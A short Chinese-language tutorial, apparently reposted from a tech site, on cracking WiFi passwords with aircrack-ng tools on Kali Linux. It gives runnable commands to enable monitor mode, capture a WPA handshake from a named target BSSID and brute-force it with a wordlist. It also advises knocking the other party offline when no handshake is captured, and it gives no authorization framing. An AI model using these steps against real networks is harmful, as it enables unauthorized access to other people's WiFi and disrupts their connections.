工具：
1：筆記本
2：USB無線網卡（必備）
3：kali系統
4：靠譜字典
第一種方法：
暴力破解法
何為暴力破解呢，其實就是一個一個密碼試，直到正確的密碼為止，
現在的wifi一般加密都是：
1、不啟用安全????2、WEP????
3、WPA/WPA2-PSK（預共享密鑰）????
4、WPA/WPA2 802.1X （radius認證）
使用airmon-ng命令檢查網卡是否支持監聽模式
root@kali:~# airmon-ng
可以看到無線網卡wlan0是支持監聽模式的，如果該命令沒有任何輸出則表示沒有可以支持監聽模式的網卡，
開啟無線網卡的監聽模式
root@kali:~# airmon-ng start wlan0
開啟監聽模式之后，無線介面wlan0變成了wlan0mon，可以使用ifconfig命令查看
掃描環境中的WiFi網路
root@kali:~# airodump-ng wlan0mon
使用airodump-ng 命令列出無線網卡掃描到的WiFi熱點詳細資訊，包括信號強度，加密型別，信道等，這里我們記下要破解WiFi的BSSID和信道，如圖中我用紅色標記出來的，當搜索到我們想要破解的WiFi熱點時可以 Ctrl+C 停止搜索，
抓取握手包
使用網卡的監聽模式抓取周圍的無線網路資料包，其中我們需要用到的資料包是包含了WiFi密碼的握手包，當有新用戶連接WiFi時會發送握手包，
抓包：
root@kali:~# airodump-ng -c 4 --bssid 1C:60:DE:9D:6F:A6 -w hack wlan0mon
引數解釋：
-c 指定信道，上面已經標記目標熱點的信道
-bssid指定目標路由器的BSSID，就是上面標記的BSSID
-w指定抓取的資料包保存的目錄
(抓包成功)
可以開新命令窗進行破解WIFI密碼（跑包）
aircrack-ng -a2 -b 1C:60:DE:9D:6F:A6 -w pass.txt hack-01.cap
完成
注意：如果抓不到包就把對方踢下線，這樣就會抓包成功
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/226112.html
標籤：其他